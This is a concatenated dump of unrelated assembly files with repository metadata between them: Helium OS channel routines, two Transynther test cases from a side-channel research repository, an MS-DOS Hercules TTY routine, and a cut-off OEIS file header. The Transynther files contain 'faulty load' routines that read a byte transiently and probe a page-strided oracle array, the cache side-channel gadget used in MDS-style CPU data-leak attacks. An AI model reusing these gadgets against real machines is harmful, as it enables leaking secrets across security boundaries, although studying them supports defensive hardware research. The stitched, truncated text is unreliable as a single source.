caller! .failed_free_up: ; node creation failed, release channel data mov edi, [ics_channel_data_space] mov eax, edx externfunc mem.fixed.dealloc stc .failed: retn ; ----------------------------------- ; ics.add_client ;============================================================================== globalfunc ics.add_client ;> ;; Connects to an ics channel ;; ;; parameters: ;; ----------- ;; EDI = pointer to channel data ;; ESI = pointer to function to connect. ;; ;; **NOTE** this function must return the stack and registers as it ;; received them (besides eip). It must also have a 8 bytes empty client ;; hook area before the pointer. ;; ;; i.e.: dd 0,0 ;; _client: ;; ;; returned values: ;; ---------------- ;; ECX = entry number in client node ;; EDX = pointer to client node holding client entry pointer ;; ESI, EDI, EBP = unmodified ;; errors as usual ;< mov edx, [edi + ics_channel_data.empty] jmp short .start .next_node: mov edx, eax ; save current node, so if we have to expand the ; list to include another node, we have a pointer to ; the previous .start: xor ecx, ecx mov cl, byte [edx + ics_client_node.count] cmp ecx, byte 6 ; max client count reached? jl short .add_entry ; nope, add to this node ; if we get here, table is full, so we go to the next node mov eax, [edx] ; load pointer to next node cmp eax, dword -1 ; is there another node? jnz short .next_node ; yip, go to it ;well,there is no more node, let's add one push edi push edx call _create_new_ics_node mov edx, edi pop eax pop edi jc .failed mov [eax], edx xor ecx, ecx ; we know there is room in this newly created node, just go to add_entry .add_entry: inc ecx mov [ecx*4 + edx], esi mov [esi -8 +ics_client_data.table], edx mov [edx + ics_client_node.count], cl mov [esi -8 +ics_client_data.index], cl clc retn .failed: mov eax, -1 retn ; ----------------------------------- ; ics.send_message ;============================================================================== globalfunc ics.send_message ;> ;; Send a message out on a channel ;; ;; parameters: ;; ----------- ;; top of stack = pointer to channel data (from __create_ics_channel) ;; registers = passed exactly as they are to all the clients ;; ;; returned values: ;; ---------------- ;; all registers unmodified ;; ;; Note: the value on the stack is NOT removed. ;< push ebp push ecx push esi mov ebp, esp ;stack is now ; esi ecx eip (channel) ;ebp-^ +4 +8 +12 mov esi, [ss:esp + 16] ; retrieve pointer to channel data mov esi, [esi] ; retrieve pointer to first node of channel ;]--push return address point push dword .return_point ;]-- pushing location of clients on stack .looping: xor ecx, ecx mov cl, byte [esi + ics_client_node.count] test ecx, ecx ; make sure there's at least one valid client jz .next_node ; nope, check next node .pushing: push dword [ecx*4 + esi] ; push client's address dec ecx ; dec count left in this node jnz .pushing ; do other clients .next_node: ;]--handling next table, if any mov esi, [ esi ] ; load .next_node pointer cmp esi, dword -1 ; is this a NULL terminator? jnz .looping ; nope, load next node ;]--restoring registers mov esi, [ss:ebp] ; restore caller's esi value mov ecx, [ss:ebp+4] ; restore caller's ecx value retn ; start chained message pass .return_point: ; when we get here, we are at the same point as before pushing the ; return_point address. add esp, byte 8 ; effectively pop twice pop ebp retn ; return to caller ; ----------------------------------- ; ics.get_clients ;============================================================================== globalfunc ics.get_clients ;> ;; Pushes all the clients on the stack and returns to caller. ;; ;; parameters: ;; ----------- ;; EDI = pointer to channel data (from __create_ics_channel) ;; ;; returned values: ;; ---------------- ;; EBX = unmodified ;; ECX = number of clients ;; ;; Note: the value on the stack is NOT removed. ;< mov esi, [edi] ; retrieve pointer to first node of channel pop edi ; get the place to return to xor ecx, ecx ; reset counter ;]-- pushing location of clients on stack .looping: xor eax, eax mov al, byte [esi + ics_client_node.count] test eax, eax ; make sure there's at least one valid client jz .next_node ; nope, check next node .pushing: push dword [eax*4 + esi] ; push client's address inc ecx ; count one dec eax ; dec count left in this node jnz .pushing ; do other clients .next_node: ;]--handling next table, if any mov esi, [ esi ] ; load .next_node pointer cmp esi, dword -1 ; is this a NULL terminator? jnz .looping ; nope, load next node jmp edi ; return to caller ; ----------------------------------- ; ics.send_confirmed_message ;============================================================================== globalfunc ics.send_confirmed_message ;> ;; Send an ICS message thru the channel, this variation check the carry flag ;; between each client. If CF = 1 after a client, the message is sent to the ;; next client until none is left. If CF = 0 after a client, the message is ;; assumed to have been handled and no other client will receive it. ;; ;; parameters: ;; ----------- ;; top of stack = pointer to channel data (from __create_ics_channel) ;; registers = passed exactly as they are to all the clients ;; ;; returned values: ;; ---------------- ;; all registers unmodified ;; CF = set iff message was not handled ;; ;; Note: the value on the stack is NOT removed. ;< push esi push ecx ;stack now contains: ; ecx esi (caller EIP) (channel) ; +0 +4 +8 +12 mov esi, [ss:esp + 12] mov esi, [esi] .check_for_clients: xor ecx, ecx mov cl, byte [esi + ics_client_node.count] test ecx, ecx jz .check_for_linked_node .check_next_client: ; At least one client is in this node, process it/them push ecx ; push client count push esi ; push client list pointer push dword .return_point push dword [ecx*4 + esi] mov ecx, [esp + 16] mov esi, [esp + 20] retn .return_point: pop esi pop ecx jnc .confirmed ; CF = 1, check next client dec ecx jnz .check_next_client .check_for_linked_node: mov esi, [esi + ics_client_node.next_node] cmp esi, dword -1 jnz .check_for_clients ;nobody took the call pop ecx pop esi stc retn .confirmed: pop ecx pop esi clc retn ; ----------------------------------- ; _create_new_ics_node ;============================================================================== _create_new_ics_node: ;> ;; this creates a new node, returns the pointer to it ;; ;; parameters: ;; ----------- ;; none ;; ;; returned values: ;; ---------------- ;; EBP, ESI = unmodified ;; EDI = pointer to newly created node ;; errors as usual ;< push esi push ebp mov edi, [ics_client_node_space] externfunc mem.fixed.alloc jc .failed mov [edi], dword -1 mov [edi + ics_client_node.count], byte 0 .failed: pop ebp pop esi retn ; ----------------------------------- ; section .data ;============================================================================== section .data ics_client_node_space: dd 0 ics_channel_data_space: dd 0 ; ----------------------------------- ; cell info ;============================================================================== section .c_info db 0,1,3,'a' dd str_name dd str_author dd str_copyright str_name: db "Helium - ICS",0 str_author: db 'Phil "indigo" Frost <daboy@xgs.dhs.org>',0 str_copyright: db "Copyright (C) 2001 Phil Frost",0x0A db "Distributed under the BSD License",0
27.276824
100
0.512863
20d5c51081384e28f6ee0f245460666468813a3c
8,200
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_329.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_329.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_329.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x2994, %r13 clflush (%r13) nop nop nop nop nop xor %rbp, %rbp movups (%r13), %xmm5 vpextrq $0, %xmm5, %rdx nop nop nop nop nop sub %rcx, %rcx lea addresses_UC_ht+0x194c4, %rbx nop nop nop nop xor %r15, %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm5 vmovups %ymm5, (%rbx) nop nop nop nop cmp $33242, %rdx lea addresses_WC_ht+0x18f24, %rsi lea addresses_D_ht+0x12632, %rdi nop nop nop nop and %rbx, %rbx mov $121, %rcx rep movsb nop sub $37453, %r13 lea addresses_normal_ht+0x1194, %rcx and $63179, %rbx movb (%rcx), %r15b nop nop nop nop nop xor %rbx, %rbx lea addresses_WC_ht+0x2274, %r15 nop and %rbp, %rbp mov $0x6162636465666768, %rdi movq %rdi, %xmm5 movups %xmm5, (%r15) nop nop nop cmp %rdi, %rdi lea addresses_WT_ht+0x6914, %rbp nop add %r8, %r8 movb $0x61, (%rbp) nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0xad54, %rbx sub %r13, %r13 mov $0x6162636465666768, %r15 movq %r15, %xmm2 movups %xmm2, (%rbx) add $2839, %rbp lea addresses_WT_ht+0xcef6, %rcx nop sub %rsi, %rsi movw $0x6162, (%rcx) nop nop nop nop and %r8, %r8 lea addresses_A_ht+0x1b2d4, %rsi lea addresses_normal_ht+0xebf4, %rdi nop and %r8, %r8 mov $80, %rcx rep movsb nop sub $49863, %rsi lea addresses_WT_ht+0x199c, %rsi lea addresses_normal_ht+0x13e94, %rdi clflush (%rsi) and %rdx, %rdx mov $73, %rcx rep movsw nop nop nop nop nop sub $44229, %rsi lea addresses_D_ht+0x1e184, %rdx nop nop cmp %r15, %r15 mov $0x6162636465666768, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%rdx) nop sub %r8, %r8 lea addresses_UC_ht+0x100d0, %rsi lea addresses_A_ht+0x1598c, %rdi nop nop xor %r15, %r15 mov $36, %rcx rep movsw and %r13, %r13 lea addresses_A_ht+0xa098, %rsi lea addresses_normal_ht+0xd914, %rdi cmp %r8, %r8 mov $23, %rcx rep movsq nop nop nop xor %rdx, %rdx lea addresses_WT_ht+0xb14, %rsi lea addresses_A_ht+0x4994, %rdi nop nop cmp $19838, %rbx mov $101, %rcx rep movsl nop nop dec %r8 lea addresses_normal_ht+0xa224, %rsi nop nop dec %rdx mov $0x6162636465666768, %rcx movq %rcx, %xmm6 movups %xmm6, (%rsi) nop nop nop nop mfence pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r8 push %r9 push %rax push %rbx push %rdx // Load lea addresses_normal+0x19194, %r8 nop nop nop sub $52100, %r9 mov (%r8), %r15d and $55508, %r13 // Faulty Load lea addresses_normal+0x19194, %rdx nop nop nop nop sub %rbx, %rbx movb (%rdx), %r13b lea oracles, %r9 and $0xff, %r13 shlq $12, %r13 mov (%r9,%r13,1), %r13 pop %rdx pop %rbx pop %rax pop %r9 pop %r8 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
34.166667
2,999
0.659268
7a664785a1d0250b701f2904217f0898f0cc9e6c
6,869
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_570.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_570.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_570.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1c4d5, %r8 nop nop nop nop cmp $40441, %rdx mov $0x6162636465666768, %rdi movq %rdi, %xmm2 movups %xmm2, (%r8) nop nop nop and %rbx, %rbx lea addresses_normal_ht+0x7784, %rsi lea addresses_D_ht+0x1365d, %rdi nop nop sub %r15, %r15 mov $10, %rcx rep movsq nop nop nop nop nop xor %rsi, %rsi lea addresses_A_ht+0x14415, %rdx nop nop inc %r15 mov (%rdx), %rdi nop nop nop sub $39855, %rbx lea addresses_WC_ht+0x103b5, %rsi lea addresses_WC_ht+0x2bb5, %rdi nop nop nop nop inc %rbp mov $98, %rcx rep movsw nop nop nop nop nop and $4256, %r8 lea addresses_UC_ht+0xabb5, %rsi lea addresses_D_ht+0x15635, %rdi lfence mov $37, %rcx rep movsl and $26622, %rbp lea addresses_UC_ht+0x191b5, %r15 nop nop nop nop cmp $43948, %rbp movb (%r15), %dl nop xor %r8, %r8 lea addresses_normal_ht+0x73b5, %rdi clflush (%rdi) nop nop add $36929, %rbp mov $0x6162636465666768, %rdx movq %rdx, %xmm2 and $0xffffffffffffffc0, %rdi vmovntdq %ymm2, (%rdi) nop nop nop nop nop and %rbp, %rbp lea addresses_D_ht+0x1a8b5, %rdx nop xor $9009, %rbp mov $0x6162636465666768, %rbx movq %rbx, (%rdx) nop nop add %rbx, %rbx lea addresses_UC_ht+0x33b5, %rdi nop inc %r15 mov (%rdi), %bp nop nop nop nop nop sub $56879, %r8 lea addresses_A_ht+0x5fb5, %rdx nop nop nop nop cmp $10308, %r15 and $0xffffffffffffffc0, %rdx vmovaps (%rdx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rsi nop nop nop add %rbx, %rbx lea addresses_WT_ht+0x3fb5, %rsi lea addresses_normal_ht+0xe515, %rdi clflush (%rsi) nop nop nop nop and $57741, %rdx mov $66, %rcx rep movsw and %r15, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rdi push %rdx // Faulty Load lea addresses_UC+0xd3b5, %r14 nop xor %rdi, %rdi movb (%r14), %r8b lea oracles, %rdx and $0xff, %r8 shlq $12, %r8 mov (%rdx,%r8,1), %r8 pop %rdx pop %rdi pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
36.343915
2,999
0.661668
d3a220742d9df72071728933343d85ad9a6d6338
3,364
asm
Assembly
45/runtime/herc/tty.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/herc/tty.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/herc/tty.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
; TITLE TTY - TTY output routine for MSHERC. ;*** ;TTY ; ; Copyright <C> 1987, 1988, Microsoft Corporation ; ;Purpose: ; TTY output routine for MSHERC. ; ;****************************************************************************** include hgcdefs.inc code segment para public 'code' assume cs:code,ds:code Extrn GScrollUp:near Extrn WriteGrChar:near Extrn SetCursor:near Extrn Old_Int10h_Routine:dword ;Segment:Offset of previous INT 10H Public WriteTTY ;------------------------------------------------------------------------------- ; E WRITE TELETYPE TO ACTIVE PAGE ; AL => Character ; BL => Color ;------------------------------------------------------------------------------- WriteTTY proc near mov cl,bl ;save attr ;------Fetch the current cursor position------- xor bx,bx mov bl,es:BIOSPAGE shl bx,1 mov dx,es:BIOSCURS[bx] ;----- Check for special characters ------- cmp al,Bell ;Is char a bell? jz ExecBell ;Yes, execute a Bell cmp al,BackSpace ;Is char a backspace? jz ExecBackSpace ;Yes, execute a BackSpace cmp al,LineFeed ;Is char a line feed? jz ExecLineFeed ;Yes, execute a LineFeed cmp al,CarriageReturn ;Is char a carriage return? jz ExecCarriageReturn ;Yes, execute a carriage return ;-----Not a special character so write it to screen----- mov bl,cl ;use attr mov cx,1 ;Char Cnt = 1 mov bh,es:BIOSPAGE ;use active page Call WriteGrChar ;Write char at current cursor pos ;------Fetch the current cursor position------- xor bx,bx mov bl,es:BIOSPAGE shl bx,1 mov dx,es:BIOSCURS[bx] ;----- Advance and Check Cursor Position------- inc dl ;Increment the cursor column position cmp dl,80 ;End of Row? jge GotoNextLine ;Yes, go to next row ;----- Update the cursor and exit------- SetCursorAndExit: mov bh,es:BIOSPAGE Call SetCursor ;set the cursor to new position jmp FiniTTY ;exit ;----- Routines for special cases------ ExecBell: mov ah,14 ;Write TTY request for orig INT 10 pushf ;so original INT 10 can IRET Call Old_Int10h_Routine ;let it BEEP for us jmp FiniTTY ;Finished ExecBackSpace: cmp dl,0 ;Beginning of line? jz FiniTTY ;Yes, do nothing dec dl ;No, set cursor to jmp SetCursorAndExit ;previous column, then exit ExecCarriageReturn: xor dl,dl ;Set cursor at first column in line jmp SetCursorAndExit ;and then exit ExecLineFeed: mov cx,25 ;Fetch # of rows on screen dec cl cmp dh,cl ;Is cursor on the last line? jz ScrollTheScreen ;Yes, then scroll screen inc dh ;No, set cursor to next line jmp SetCursorAndExit ;and exit ;----- Set column to 0. Are we at the end of the screen?----- GotoNextLine: xor dl,dl ;Set cursor to first column on line mov cx,25 ;Fetch screen width dec cl cmp dh,cl ;Is this the last row? jge ScrollTheScreen ;Yes, scroll the screen inc dh ;No, set cursor to next line jmp SetCursorAndExit ;and exit routine ;----- Cursor is on last row of screen. Set cursor position then scroll----- ScrollTheScreen: mov bh,es:BIOSPAGE Call SetCursor ;----- Set up parameters then scroll screen------- mov ax,1 ;# of lines to scroll xor cx,cx ;Upper Left corner of scroll xor bh,bh ;blanking attribute?? mov dx,79+24 shl 8 ;lower right corner Call GScrollUp ;Scroll up window FiniTTY: Ret ;Finished Text TTY Routine WriteTTY endp code ends end
26.28125
80
0.651011
670a35f4cd420a7d24c514994c5cdd667d843fc3
1,310
asm
Assembly
oeis/197/A197605.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
